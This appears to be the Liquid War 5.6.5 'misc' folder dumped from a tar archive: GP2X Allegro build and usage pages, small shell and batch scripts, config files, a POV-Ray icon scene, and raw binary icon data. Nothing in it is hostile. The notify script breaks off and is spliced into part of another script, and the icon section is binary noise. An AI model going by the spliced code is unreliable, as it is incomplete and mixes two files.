wsock32.lib lwwinmap.exe: $(OBJ_FILES_MAPGEN) runner link @ -nologo -release -subsystem:console -out:$@ $(OBJ_FILES_MAPGEN) alleg_s.lib kernel32.lib user32.lib gdi32.lib ole32.lib dinput.lib ddraw.lib dxguid.lib winmm.lib dsound.lib liquidwar-5.6.5/misc/allegro-gp2x/0000775000372000037200000000000013407756104016377 5ustar travistravisliquidwar-5.6.5/misc/allegro-gp2x/allegro-using.html0000664000372000037200000000331513407756104022037 0ustar travistravis Using Allegro for GP2X

Using Allegro for GP2X

Building your own programs

Generally you should use the gp2x-allegro-config script in your compile and link command lines. It fills out include and library paths, and links the right libraries for you. The main options are:

--cflags
pass this when compiling
--libs
pass this when linking
debug
pass this to enable debugging, and link against the debug library

If it's one command which is both compiling and linking, pass both flags.

As a side effect of the configure line above, gp2x-allegro-config will also force your binaries to link staticly. If you don't like it, edit the script and take out the -static option.

Example: building the joystick example program

The examples will have been built automatically, but as an example of building your own program, try copying the exjoy.c file from the examples directory to somewhere fresh. Then you can compile it:

gcc -o exjoy.o -c exjoy.c -O2 -Wall -Werror -g `gp2x-allegro-config --cflags debug`

And link it:

gcc -o exjoy exjoy.o `gp2x-allegro-config --libs`

Then write a .gpe wrapper script that runs './exjoy' and chains back to the gp2xmenu.

Note that it's OK to pass 'debug' when compiling yet not when linking - your own code's TRACE calls will then output to allegro.log, while the library itself will not. Quite a useful setup.

liquidwar-5.6.5/misc/allegro-gp2x/allegro-prebuilt.html0000664000372000037200000000233113407756104022535 0ustar travistravis Pre-built GP2X Allegro v0.2

Pre-built GP2X Allegro v0.3

by George Foot

Introduction

This is aimed at Windows users who lack the software to crosscompile Unix Allegro themselves. It's particularly aimed at devkitGP2X users, but it may also work with other toolchains, if they are sufficiently advanced; the GPH toolchain is not advanced though, so don't use that.

Download

I'd recommend also installing Allegro 4.2.0, as that's what this is based on - then you'll have the docs and examples, not to mention the ability to test your games on your PC!

Installing

You can install this wherever you like, including into your devkitGP2X directories. You need to edit the gp2x-allegro-config script, in the bin directory, and set the prefix to the parent of the bin directory. You may want to add the bin directory to your path.

Using Allegro for GP2X

See Using Allegro for GP2X liquidwar-5.6.5/misc/allegro-gp2x/allegro.html0000664000372000037200000000454513407756104020722 0ustar travistravis GP2X Allegro

GP2X Allegro v0.3

by George Foot

I've ported Allegro to the GP2X. Thanks must go to rlyeh, whose "minimal" library was a great reference for setting the video mode beyond what fbdev can do, and paeryn, whose 2D acceleration routines in SDL provided the basis of the routines Allegro is using now.

Links and Downloads

If you don't know Allegro, but want to learn, have a look around the website, and get the main distribution and install it on your dev PC. You might want to get a zip version instead of the .tar.gz linked above, if you're using Windows. Then get the binary archive above, and use that when developing for GP2X. Use the documentation from the core Allegro distribution, which gets built in various formats as part of the build process.

If you know Allegro and just want to develop for the GP2X, you can just get the binary package - it includes all the headers too, but no docs. Use the documentation from core Allegro, which you'll probably want to install on your dev PC anyway as above (if you haven't already got it).

If you're an advanced user who might want to hack the library itself, you'll need the original sources and my patches, but not the binary archive. It's not too hard to build it yourself.

Using Allegro for GP2X

See Using Allegro for GP2X

Hardware Acceleration

See GP2X Hardware Acceleration in Allegro

liquidwar-5.6.5/misc/allegro-gp2x/allegro-accel.html0000664000372000037200000000472413407756104021766 0ustar travistravis GP2X Hardware Acceleration in Allegro

GP2X Hardware Acceleration in Allegro

Credits

The hardware acceleration in GP2X Allegro is heavily based on paeryn's code for SDL. He did all the hard work!

What is accelerated

  • Trivial filling operations - rectfill, hline, vline, clear_to_color - when applied to a bitmap in video memory, i.e. the screen, a video bitmap, or a subbitmap of either.
  • Blitting operations - blit, masked_blit, draw_sprite - where the source and destination are both in video memory.

Acceleration is only supported in 8bpp and 16bpp modes; GP2X Allegro only supports those modes anyway, so that's OK.

Allegro uses 5Mb for video memory, and you can set a graphics mode with any virtual size you like subject to available memory.

To take advantage of hardware accelerated blitting, it's easiest to use video bitmaps. First create one the size of the visible screen (SCREEN_W x SCREEN_H), then use show_video_bitmap to ensure the screen is scrolled properly, and do all your drawing there. Then create additional video bitmaps for your sprites, etc, and use blit or draw_sprite as normal to draw them to your primary video bitmap.

You can combine that with page flipping by creating two screen-sized video bitmaps, and drawing to one while the other is visible, swapping which is which each frame.

Hardware Scrolling

If you're not using video bitmaps, you can scroll the visible screen around the virtual screen, but there's a 32-bit granularity so you're restricted to even X coordinates in 16bpp or multiples of 4 in 8bpp.

It's not trivial to combine this with using video bitmaps, though it can be done.

Example - Parallax Demo

I've uploaded an example which uses page flipped video bitmaps to take advantage of the hardware acceleration. It draws lots of layers of random pipe-like tiles, using accelerated masked blits or sprites or something, I don't totally remember!

liquidwar-5.6.5/misc/allegro-gp2x/allegro-building.html0000664000372000037200000000330513407756104022506 0ustar travistravis Building Allegro for GP2X

Building Allegro for GP2X

by George Foot

Don't Panic

It's really not very hard...

  1. Unpack the Allegro sources, e.g. tar -xzf allegro-4.2.0.tar.gz
  2. Apply my patches, e.g. cd allegro-4.2.0 ; patch -p1 < gp2xallegro-0.3.diff
  3. Configure properly - this is the hard bit, so unless you know better, stick to the following command:

    LDFLAGS=-static ./configure --host arm-open2x-linux --without-x --enable-static --disable-shared --enable-lgp2x --disable-modules --prefix=/opt/gp2x --enable-dbglib

    This will build static libraries, not shared libraries, in debug and release modes, and link the various programs (demo game, examples, tests) with the release version, totally staticly. Everything gets installed to subdirectories (bin, lib, include, share) of /opt/gp2x.

    If you want, you can --enable-dbgprog to build the programs in debug mode too, and link them to the debug library. Up to you.

  4. make depend - sort out dependencies, write makefiles
  5. make - build everything
  6. make install - copy relevant stuff to /opt/gp2x or whatever you set --prefix to
After installation, you probably want to add the relevant bin directory to your path. Don't worry about the include or lib directories, gp2x-allegro-config handles that for you! So it doesn't matter if you choose to install Allegro off by itself somewhere, away from all your precious devkitgp2x libraries.

Using Allegro for GP2X

See Using Allegro for GP2X liquidwar-5.6.5/misc/fix_map_palette.sh0000775000372000037200000000422213407756104017574 0ustar travistravis#!/bin/sh ############################################################################# # Liquid War is a multiplayer wargame # # Copyright (C) 1998-2018 Christian Mauduit # # # # This program is free software; you can redistribute it and/or modify # # it under the terms of the GNU General Public License as published by # # the Free Software Foundation; either version 2 of the License, or # # (at your option) any later version. # # # # This program is distributed in the hope that it will be useful, # # but WITHOUT ANY WARRANTY; without even the implied warranty of # # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # # GNU General Public License for more details. # # # # You should have received a copy of the GNU General Public License # # along with this program; if not, write to the Free Software # # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA # # # # Liquid War homepage : https://ufoot.org/liquidwar/v5 # # Contact author : ufoot@ufoot.org # ############################################################################# # Dirty hack based on Image Magick to make maps more "liquidwarmap" # friendly. Indeed, we want for instance _all_ the black zones to # have index 0. Using Image Magick can help achieving this. # # The script processes .bmp files only since processing .pcx files # seems to wreck them up - from Gimp's point of view at least. # # Use this script with caution. #for f in ../data/map/*.bmp ; do for f in $* ; do f="../data/map/$f" echo $f mogrify -colors 256 $f #mogrify -map ../data/map/world1.bmp $f mogrify -map $f $f done liquidwar-5.6.5/misc/liquidwar_notify.sh0000775000372000037200000000712613407756104020032 0ustar travistravis#!/bin/sh ############################################################################# # Liquid War is a multiplayer wargame # # Copyright (C) 1998-2018 Christian Mauduit # # # # This program is free software; you can redistribute it and/or modify # # it under the terms of the GNU General Public License as published by # # the Free Software Foundation; either version 2 of the License, or # # (at your option) any later version. # # # # This program is distributed in the hope that it will be useful, # # but WITHOUT ANY WARRANTY; without even the implied warranty of # # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # # GNU General Public License for more details. # # # # You should have received a copy of the GNU General Public License # # along with this program; if not, write to the Free Software # # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA # # # # Liquid War homepage : https://ufoot.org/liquidwar/v5 # # Contact author : ufoot@ufoot.org # ############################################################################# # A basic script which might for instance be called whenever someone # connects on your server, if you use the "-callback" option. # For now this script simpy send a notification mail to a list of # people. You have to parameter the list manually, or else it won't # send anything to anyone. Be carefull to put email addresses that # correspond to friends and/or people you know, and won't feel offensed # by receiving everytime someone connects. # You might also imagine to write a program that pops-up a window, # or a windows .bat file that plays a sound or pops-up a window as well. # In fact, you can put pretty much anything in that script. Simply put # whatever you find a convenient way to be informed that someones is # ready to play. HOSTNAME=`hostname` DATE=`date` SUBJECT="[liquidwar-bot] Connection" ##################### # I M P O R T A N T # ##################### # You need to uncomment the line bellow, and put the right email # addresses. Putting your address here would possibly be a good choice. #RECEIVERS="ufoot@ufoot.org" if test "$RECEIVERS" = "" ; then echo "You need to parameter this script first!" exit 1 fi for r in $RECEIVERS; do echo "Sending notification to $r" mail -s "$SUBJECT" $r < ${name[0]}.ppm..." convert ${name[0]}.${name[1]} ${name[0]}.ppm # place hsize and vsize in ${sizes[0]} and ${sizes[1]} info=(`identify -ping ${name[0]}.ppm`) # use ImageMagick's identify command #echo ${info[*]} sizes=(`echo ${info[1]} | awk -Fx '{print $1}{print $2}'`) hsize=${sizes[0]} vsize=${sizes[1]} # determine if either size is an even or odd number... hsize_odd=$(( $(( hsize % 2)) ? 1 : 0 )) vsize_odd=$(( $(( vsize % 2)) ? 1 : 0 )) # ... if so, correct it by adding a 1-pixel pad to prevent mpeg2encode from complaining. # (actally, add a border, but don't use 'pnmmargin' because it's a script that appears to # be quite inefficient by using several temporary files) # (see notes in ./mpeg_utils_make_mpeg2encode_parfile.sh for more info) if [ "$hsize_odd" = "1" ]; then echo "./mpeg_utils_imagetoppm.sh: padding horizontal dimension..." pnmpad -black -r1 ${name[0]}.ppm > ${name[0]}_tmp.ppm mv ${name[0]}_tmp.ppm ${name[0]}.ppm fi if [ "$vsize_odd" = "1" ]; then echo "./mpeg_utils_imagetoppm.sh: padding vertical dimension..." pnmpad -black -b1 ${name[0]}.ppm > ${name[0]}_tmp.ppm mv ${name[0]}_tmp.ppm ${name[0]}.ppm fi done fi liquidwar-5.6.5/misc/liquidwar.gpe0000664000372000037200000000436713407756104016604 0ustar travistravis#! /bin/sh ############################################################################# # Liquid War is a multiplayer wargame # # Copyright (C) 1998-2018 Christian Mauduit # # # # This program is free software; you can redistribute it and/or modify # # it under the terms of the GNU General Public License as published by # # the Free Software Foundation; either version 2 of the License, or # # (at your option) any later version. # # # # This program is distributed in the hope that it will be useful, # # but WITHOUT ANY WARRANTY; without even the implied warranty of # # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # # GNU General Public License for more details. # # # # You should have received a copy of the GNU General Public License # # along with this program; if not, write to the Free Software # # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA # # # # Liquid War homepage : https://ufoot.org/liquidwar/v5 # # Contact author : ufoot@ufoot.org # ############################################################################# LIQUIDWAR_BIN=./liquidwar LIQUIDWAR_DAT=./liquidwar.dat LIQUIDWAR_LOG=./liquidwar.log LIQUIDWAR_DEV=./liquidwar.dev #clear_screen () { # dd if=/dev/zero of=/dev/fb0 count=1536 bs=100 # dd if=/dev/zero of=/dev/fb1 count=1536 bs=100 #} # #clear #clear_screen if test -f $LIQUIDWAR_BIN -a -x $LIQUIDWAR_BIN -a -f $LIQUIDWAR_DAT then #$LIQUIDWAR_BIN -dat $LIQUIDWAR_DAT > $LIQUIDWAR_LOG 2>&1 ls -al /dev > $LIQUIDWAR_DEV echo mknod >> $LIQUIDWAR_DEV mknod /dev/fb1 c 29 32 >> $LIQUIDWAR_DEV ls -al /dev >> $LIQUIDWAR_DEV $LIQUIDWAR_BIN -silent -dat $LIQUIDWAR_DAT > $LIQUIDWAR_LOG 2>&1 #sync #clear_screen fi cd /usr/gp2x exec ./gp2xmenu liquidwar-5.6.5/misc/liquidward.logrotate0000664000372000037200000000022313407756104020160 0ustar travistravis/var/games/liquidwar/liquidward.log { daily missingok rotate 31 postrotate /etc/init.d/liquidward restart endscript compress notifempty } liquidwar-5.6.5/misc/liquidwar.desktop0000664000372000037200000000027513407756104017474 0ustar travistravis[Desktop Entry] Type=Application Version=1.0 Name=Liquid War Comment=A unique multiplayer wargame TryExec=liquidwar Exec=liquidwar Icon=liquidwar Categories=Game;ArcadeGame; Terminal=false liquidwar-5.6.5/misc/globe.pov0000664000372000037200000000433513407756104015717 0ustar travistravis// Persistence of Vision Ray Tracer Scene Description File for Liquid War icon. // Copyright (C) 2003 Ryan Brown // This program is free software; you can redistribute it and/or // modify it under the terms of the GNU General Public License // as published by the Free Software Foundation; either version 2 // of the License, or (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program; if not, write to the Free Software // Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA. #version 3.5; #include "colors.inc" #include "textures.inc" #include "glass.inc" //#include "woods.inc" global_settings { assumed_gamma 1.2 max_trace_level 5 } // ---------------------------------------- camera { // orthographic location <0.0, 10, -20.0> direction 1.59*z right x*image_width/image_height look_at 1.6*<0.0, 3.0, 0.0> } #declare BGColor = Gray50; background{Gray35} light_source { 30*<1, 5, -3> // light's position (translated below) color rgb <1, 1, 1> // light's color area_light <10, 0, 0>, <0, 0, 10>, 5, 5 adaptive 1 jitter } // ---------------------------------------- #declare Globe = sphere {<0,6,0>,5} #declare Ring = torus { 4.001,1.001 translate 2*y } #declare Base = difference { cylinder {0,2*y,4} object { Ring } object { Globe } } object { Base texture { DMFDarkOak rotate 45*<1,1,0> } } union { object { Globe //material { M_Glass4 } //material {M_NB_Old_Glass} texture { T_Glass4 } interior { I_Glass } } blob { threshold .6 sphere { <-1.5,7.5,0>, 2.5, .75 pigment { Red } } sphere { <0,7.5,1.5>, 2.5, .5 pigment { Red } } sphere { <-1.5,6,-1.5>, 2.5, .5 pigment {Red} } sphere { <.75, 6, -.75>, 2.5, .25 pigment {Yellow}} sphere { <1.5, 4.5,0>, 2.5, .75 pigment { Yellow } } sphere { <0,4.5,-1.5>, 2.5, .5 pigment { Yellow } } sphere { <1.5,6,1.5>, 2.5, .5 pigment {Yellow} } sphere { <-.75, 6, .75>, 2.5, .25 pigment {Red}} } }liquidwar-5.6.5/misc/lwserver.bat0000664000372000037200000000122713407756104016437 0ustar travistravis@echo off rem This is a sample windows server starting script. rem Simply click on it in explorer, and it should launch a server rem which will popup a window each time someone connects on it. rem You'd better run LW in windowed mode if you use this BTW. rem You might also add the "-public" option if you don't want rem to be prompted with it all the time. Basically replace rem "lwwinsrv.exe -6" by "lwwinsrv.exe -public -6". rem Also, we use -nobeep since the popup makes the default rem beep pretymuch useless. rem Last point: you'll need to have windows scripting host installed. ..\lwwinsrv.exe -6 -nobeep -callback "cscript lwpopup.js" liquidwar-5.6.5/misc/liquidwar.icns0000664000372000037200000022134413407756104016761 0ustar travistravisicns"is32a B~g _p6#  $=r %!n5V4Hx=_B - &Fz ,.ۊ\2% @;@W8+uv<LЌDj !P%?%2 vgkx F ^+E !s*RE!PoIo *f}N̋6 Ww ;es8mk\\klsugigisujmZ\il32 Y, j e  .g O "= h+ yр s  k Dk 0#a;UkDkP66U{60ﴛǽ5Vۀ0K ۝Lwםl? !? Rg 9R   &% 2W)F L $ W0 (  g%f &wV5:'E  g 1SCdaK bHy9;v\Vw%Oji܃WD ?ֲ&Hܶh 5JB BM >||khI #7=" H̼PG!VwM Zj [Cl2u #b/<*+ǒ΋3 "qE9O b \o1/m,|%$,)Rng$< @%90  mnXJd @! 7x*t!gN l8mk&K ȪvbN8! ϳ|cK3 fJ.  ^ αkI+ غmG' ݽkD# ) ܻf?  ׵^8+ѭV1 ˦{P-) ơvM*sJ('׺oH&\ϲiC# Ũb=  Aк}Y6ƯtR0лlL,!@DzfG* V«z`C' ׾rY>% ؽjQ8!=ڼ~aH1XڻxY@*   عuV<&   շuV<% дx[@(@ɰ}bG- :íhM0 <ѽlP1> ͹lN.@ ˸iH(@ ̹cA @ ϼ~]:@ zX5@ ëuS1@ūpO.@ȫmK-@ ˭kJ-@ ϱmL/? ѴsR5 @ жz[>$ͶfI-ɵqV9  ȷ~dF) \οsT6 @̾cD)ϾsU9  ηfK/  ^Ǯx]A&  @ վpR4  ".53)  ϷcE) "4CJH;)  ʱwX:! &5FT[XL9$AƪlN4 %+3=IV_dbXH4ٿbG2!   !*31&$/;IVbltz }zz|}{o[@%- ƪwqme\RH?830/15;CMXdpznS4!׽|xtoic\UQPRW]dks| z_> ,6Ҽztpoqv{}b@ Ѽw\; ,Ҿ)}jO14ŸĶ~o[@%ú~raK1  _ƬtfS=$  ħzk[G0  غrbQ=& I ˭{iYH3  պsbQ>) ĩ{kZH4  ͲrcR=(+պxiZF0 L|m^N9#Kī~o`Q>)KȭpaQ@- Kȯo`Q?- Lǰo_O>+ ®r`O=+  ucP=) Kǻ|qdS?+ $´wmdZO?-  \͸vk_UKB7)#˵vlbWJ?4*    ^͵vkbYNB5)   ]ֿraVNE:-    ^Լ|`MA90%<Ȧ~W;-% %[ںU-$]ݛK 1h Ѳc<  Fx  "Dl ЮX1 DvK )Ls Ϊ}O'  Dv 0SzϨxH  !Fw  6Z ѨvD #Ix_  ;_ԪvB )Nz  =b ׭wB 0S{  !?c ٮxC  8X{-  "@d׬wB &@]{$Bdҧq> +E`|, &Ccɝj9  .Hc~ 'Db} ޽`3  0Kg, 'Daz ұW-  3Po %A^v ţ{O(   9Y{ ($?ZqչpG$  %DfQ$   9[~ β7&;Obvֽ^<  $Bd ʯʄ(;M^rѸ|[;  ,Ji ˳ɯ *Qcy ĩoR5   6Ne| Һ}U,*>Sh¥iM1 )C]s Ӻj: *?Vm ädG, 4Ql ջj; *@Xq ƦbD)    ;[x پpD  +AYs ͭeD( &-122/(   "@b  xO+  .C\w ׸mI*  (8DLOONOLD7' %Ce Ƣ|W5 3Ha| ƢzS/  0EVahjihge^Q?*)Fh Ǣ}[;  (=Rj ִ_6 4Lapy}}zxvutsoeU>&  0Kk ơ{Y:  5J`x Ŝm>' 5Pgy{yyvpdP7 $;Tr wU6  )BYoԬ{H ( 2Mh|~zxwtl\F/  1Ia| ػpN. 3Nh໊T' ) -Id{{xupcR=%%?Yp вgD%  :Xr3ɚd4 +E_v}vk\I3 .Kf} ƨ^;  "?^x3իyI$ +AZovgU?( 5Rm ѻ{V4  #A_y8῔hC+ '4FYl{ǿwbL6"$;Uo ŰtP.  #@^w5ӲnVJGLVcp{ȸu]F2%#-?Um ɹnL+  #?[u1δ}xx|ԿrZE726BUk ϽiH(  !ShԿ{eI- 3F[s ӿv]A&  ':Of pU9   .BZu ñkN0 #7Oi IJfG)  +B]|ʾ bA#  4Pp³ ̺{[;  &AdϿ~xtsx rR3  2U~ Ź}wne]XY`odzfG)6$FoƼwnbUH>:>I[qʸtY: 56^Ŷ}sgZJ9*!%4Jbz˹hK-6%IsǸ|zywsk_P@.  8Tn˷u[=! 62YƼ¿|pgcbba]TG6& )GdʷiL/6 =cżqcXPKIIHC:-  :Yvȵu[=! ""?`~yiZLA830.,'  )-LjųzgK. !8Qgx}reUE8+" ' &)4>DIMOPMG>4( % -DZlyŽ~rbO:& %*/21.)"# +@Uftyvx~weN6!  " (=ReuzqkilrzyhQ7 (>Thx{smihimrwysfR:" +AWhv~zuronljie\L8#  -ARalqssqpq nic]VL?/ *:IU]bdegjkkhaWL?1#  "0;DJNPSWYYUNC6'"*/369;==:4*     :1X `7D  Br <1 .Y d(#Aa b( 4Pm =$>Zt _ )C^w ^ ,Gcy _  2Pj$#A_w[ 6Vq#0OkI.Lh~2Nh}{ 8Tl~ǧv*$?ZqëF'C_t ոpA'C`v ϯgA $A^u Ǧ^=  !>[s ׽xT4 ">[r ͲnK-&C^t ħdD'-Jdx ؽ}]>$5Sk{ ֺyX:! ;Zq ׻wU6  "@_u ۾uQ2  $Cbx sM. &Ecy nG('Fdz ྕg? (Hf| ༐`7 *Ji ߺZ0-MlݷV,/Pq زS) 1Tw ͩ}O(3X~ ׽sI% 7\ èd>  ;a ȱtR1  ?e һbA# #Ch ɲwT3 &Gk «oK))Jm κhC"  +Mo Ʋa=  H,NpտwX7#JH1+Np͸kL-IԵ0)KnøŰ{]>" !X0&GiƵȹpP1IA  #Ba~Կ{usuycB$ -cS   !u  . 9Sk}ŴeO@8678766;GYoycG)(T / 7Mcsz\B."%6MiwhS9  !D / 5K]lvuX<$ .Jh{l[F. "Fy7  3GYfnvlS7 ,Ig}udP:$  )N5  .CUbjpvzzrbL3 ,Gas|{p_I1   1Y7'k;e-  7a  "  3[- $271" 4X  5GMF5  6Y-*CXa[K5!  ":[0LbnmbP>." .C^3Pix}zpcUH>71.+)('+3@Rj\& 7Uowld^ZVROLJKNWez' "?]x{vsru}'1PoþF'Ghȿ  ?d 5\  *P{,  "EpL  ß;1,(EW6Dt8mk@+E_tt_E+?nm=.nڭm.-xx-_]~|}{XW%&ah3:Yar} kwQZ*/ MV>DU\ Yb NR-1| =D /1ei %*ENhs %'+,/000/0+,%' hsEN%* ai-1 =D {+1KR Yb T\)aNnehCPnjY:X35]\zLZC?ه!OS:I-!5dkВȖm:EѶKt^7#pdMNL\y4D\Ө(1~g2FZ kCvv  G+g~CaK;̣tfkPhLWPzίzО6P 8X!k\dfb2[+f!Z&&ѣ>k <Ū3QSQdG PyXA7~A@GOiA%kߕqm '8Ŕ|(2$S<~Uט۲ot`?(~`8݂aLGwoB;,#e@c<5;3 rKzçH-)SK I9 q_DM mo|V)^mZ0߸98-ᆲ_a,,5<b AWd7bܣiK|f\=Io?3~@7$y2OD09ߴp8$OQFלf b/  -ُI|5AIMBwຼ΀B~dyfFүw&i V'/)ۻ.ml7ey|fع#H3u۠Z*L}O- e5!oaWn@Q#Upjh>ڤX˗5T -F3ʙ$ m֐IM#6b̄!YT(cj,qOp.QS v>;]FYTC0cK_6XTt Mnf +5;a1uB߄OTT.=UO/pLcIڼ}-] KbO$[5<,eOoRIt]w@;_?ãj" tXdv3lnPȬwVƎQ$? ȫVE5;&a0}]!Ԁy1.ב}2@5s%[c}?jި.}SF?spD'8ZUzc=yi TV",Ǒl @p },|Z܏յ1H7?G]4ti:Bf]ѐ .|?keS#uμi»~VXVb0:g;wSSUD HF^ Mb6b Q33S96deGn O>U. %N\cu~q/蠠y .fݩ7$&AV r%j)Eh$Tro@ p>~"][u3!)Ѝ#ܭx_!fIB; #6k4ok٣rM1Eϐm 8s32&3?SV6j=+_/aM$YSYZ+}^F,P}5(lLf^Z@g0n&VU|5.؁fܽpFȥ$_!,p;-tí CV5ƀ؁P/ XtP>c:4+%EM!~D@!è>Ny{"k*EYDY! :9-y`-NW-yJт0Nl/ň'Eb%=,,2¿@x2yKw(0ď:莔UZ0}*00VxJyNۜS2O@uZ`XxE{]"!m-9zeF ڔK& aOgty&-x#%iϻ5n<eL'07q5ŭD?۫J}\u߁+ܪUڸ]C[lV?' 3jgԆe`ib -u5_] {㹼[Bp2hvk N)q oL³`)wj,OV SbU`KggP i<0hDU΂€N+^ȦF*,{۬+)̻Xƃf0Co WۧLʷi~jUZ#EX_ V62Xa+(.;Qmo7SJcwɦjY@+,5LMD~ m\K ~!eU{hX~ZxK۬/TVRQH/nY:d7 ‡Bf|k1H҄N5u*:%[Z6퐀|tsS<)yA5~Qm\.Ӱw'l!| O KB4J/:z/7 #^ڿ[299yyv8K<.N26橖d(چ}'۪ E5 t1l.+Hl8 @wuy$;Ƅi$`)/VwRJ86bO7+ߔ#̈́0,A,5x-Aѯ!, VjwPf h8hM+PFR:tV8ңFFSЛwT[oxXYJn|:gFn l.%f65ۼ@Ya}8 ]erKҚK%I$TijhZ8 H}Y6{?f0fݲpc!WdSbPd$QoqO?U%7ѯS-ʼ[K6fI]uڼ"Zͭlk˘hvvX:eY&Kw6M;?G.Xtյ1-vN]*x?F}KGt-q𸃵gXtL)T"{0T31Vk~ӑ ̃z10D9҄BSKeQ6Kb2mjFy|Nez.EX4?LP#,CEP6X[g8TۜR 񙽂f*+pa'xwIU_c|=[0R2j5mygm<┰V;9v_r}p4(L aϭ{+¥$sʽ^nXĭ{8|򫚢 a~!BmB&#]e#bv&]ECInxqJ~ [J;OI823BͦiykQS'cw#7w}i!2)9xWH/jAߤe$"|d-U;'\C lPJKݬꋎtFoOk>GKg^bLx \1AGaFIyAN;@gXTNY}!oCl< >2'W¸d9ᛰL] &E0ՀSq$9^OIрx,)W(MKQzeY[֍I?'!HQq?\/JfBb}zȼ]QnT? Ig_X5\? la-W/C*I.-"/ AV@L=\rWy{95átxKC=6C{NSq|R$~вcO<ȈzΑtg[I`q]xRǀ@ 3_ͅ9lvuWR,I(ߏSG|2ޞT͔c@It kfŸ(_0.0SzHW/zԂ2XgkkrY6GB~/;N"ggWUZ-;m>Ҙ pr*}hs%=x_(d0q}]͜;>u/ᐱyɽ=Wd̬ }xEʟTY%A>yeCp:W<e pRmYLB_~P 4銲Ē, @IJSfq+O ESZMk.N'(t=d fLLjm' E!t>lj- .JzorpaD1G\.M ۨpoh? ̰,\Uif%{@~R(3y!!Vy{]vkڝަ4ܮ#(!uh(:@ǖcCt9y@;TY H?o4L4'pU9w=vQRV?_gP8h19u^$XiqDPѳ4eY9E?+d`@X@Y Fy2uZl Uhws˒!27v5\-~6,X q:\!#_bl #mGKzHG@; E*s?Yz^jd~0 )UzE}s$$w;V!<帱U!iGd8i oQ<[XE97%tЧT:LdP4 %•׎Eۢ0GUײqB5j6 2$z'vp; 5R#ԍ'|$dH"qPɑd-5^GM;WéofP{Vpĕmxg>; yaIeCdS9Pز@F$B١r r7Wbܱ@ M}XAT^b7f̌HқΣ\fVfS%`v~IVt;w-fᙡЖ,s+~}`yF9h.}o=k~Ԓ^f lig϶C2V7kZ c;swސ=Ct҇ \hjm+"!:y[<.p=1;8h->1V͹R-; ndYcW|'߭u)>>]>rؑv60払ӴcJl2g1{&P u(wNJV4Umi<I|}6*C_YF'̌\X]*}qxycm6e՚K5$#׊Y9:*/7i\m=ሯ{R`r]bٺQгսtDou_pbKK$hU;@XZav%?԰P}Pwe y PKYTzEV$g Av3.zь+#^`fiȬydv bAƽOJ.X>|jVr҉TAu 撸c2F\Փ7W[Asiإ4;7UdÛA,䓿;gyl\҆2K~c/NmN-W`>>ƄL*J΁_9h]OK61/>K /?$:k3!ӳdJ[ftWɍNy 츱5>dh/z@E>UjarUm(S.3- 0dZN(*f_*3Yl5ȕ-xnmh>ft%Lpk_*8Yez5ܷM[']IHZuk9)p˙6B:U})>9S6a,,՞^߃X@c׳)᰻|9ށҺw[9C{,54N=S>0RpqFșv4_oJ-CiFmOC>E8̿sN57_[%|۽njXԩ@!$CU3BDrtrbSzE٪_ Z8]C 1w><+b~Mo_@}e$6*cQb&5p]vT`?ʶEr-N-s7O)zz8%a@7ʊKvvcuaH4Ƒ qբq^ WR#T`SGB|F 6^Lx(K<(]nmtVb$$abeS*juxGZ#ID 8j h@bq M# UӪIuZ3Ig^UK]NDpzc3Z n=ZKUӅkG1gj|^5oȻٲU;3sBLWm~|N,9Ch_COdw;Dtt\su:$XW#Sk&/HVq d&M6|d=FJlx~\`D> Xcq#|ێ܀8}N8Sؠ5OT~U'+H8=VWa+V&er#82tҬ|TCP_PyշerBKD'0tcôc_rss!>lܞ(/_4XsBe Ð6^Md$ gsdIκs =|L{:2PK\T yKY"> u5;N9ؑJͪJsZ8c]\Kͻs*79JnP4/gpRa*n-+õ{i{;ipX&2d,UFR4y؁]:')u|}_ۜSGpl0kV7 尪jI6>uv(oNnN?ס١I0-6:SC8BpiZ'$eI ץ0z$ԧv"˾~(U7OɟU\ƝލD voS݊N*0 *RټWdwFKiq&?x{SDG&J[+a{#TDXM|Őg7_7 HZ[*zZIס{SAk&*Y2y;T(F=`peq_W|1v2THtPkJB;c\57 <[' hR_n;^>3ŋj\dy*O4'`KKBUP!Nec-_'J":QLyf{SNY%KBn5Ws]e=?lT ڣJVBu@|^Bt RuͶ{4ؘO6ۛ`tw@SLA8YR {*I fE?ڹtM81+Ni㹩L;g;G ]qZw=/eX,bJ+USg^veP0FȧP:^r30!c%FCѐ}cIIαu=F.(~_ vB!4k w {QO`L÷05J۷`RɁa߫]M@ gwLO&|+L'^Hmpo.Cc@*1m ;jb5SbA$K-U͙P޺ rSk#g _pkA\z:$8ZSǰ$ ɟ¹0Cj|vum7yvʧI5͕T QL78=^@8}֞K%ja&.tL+_M2?JLBtxO&+iAL+`RŲ9.p .jabf6< Bgm;m o#WwPf$ƭdu(eG&&5ј[⩞D83>FИbMCX.V!FOpi{ff$H*gF20[axpJv7?[dgh7 Uf-KڈX1(ǖayC#*? ];ݽ)~S|- ExnH_jvdkUt?Q:t}.6 FOqb2z<0BsbVo-IeoIcnͶ&Fxyo;RtDW3G ؘHWd*Tܜ_wTqaؓR3c](lLO-ZIX ?GݐO#VpZ`x閎%P-)ix#oNϛ 8A\K[f6CQc-lbmhN֌xǯjHKpdPHvKǯjZ^1>eY$g+s D493\IuDA:a)lΊj}ׁ4&mHg5(K,xh@mʮ=oD, ƛ<4ϫ lkrEe Rȣ(kL6y\s?R<ϳLBwC,7+24JX:,)&{ 4mJt PjLl~|'.rq{6h2{t;Lu%mq :|@=E[|4 nO}F kZĭZ>9F7t]-P'IP?DJ[`1B{W̛VϽvae#IuTp:҈$ʑ"2YC X #7ey+,ʝM*Ú$f v10hm"==-_`&r|Xq Qv2ް_$Ӎj EAY8#"RA' ) |b0@Diׁl)c畵PM;չʐ&$itҿԘ/5+Iy{KHGM@tc܂C7 Nyq[cnBUd(8g&d GD׮D˓ÏedK/=ו+>K%*s^NF|i5[BAϏ.X^~VXM=qPႉ&8Qk;0 R{l]|5"x 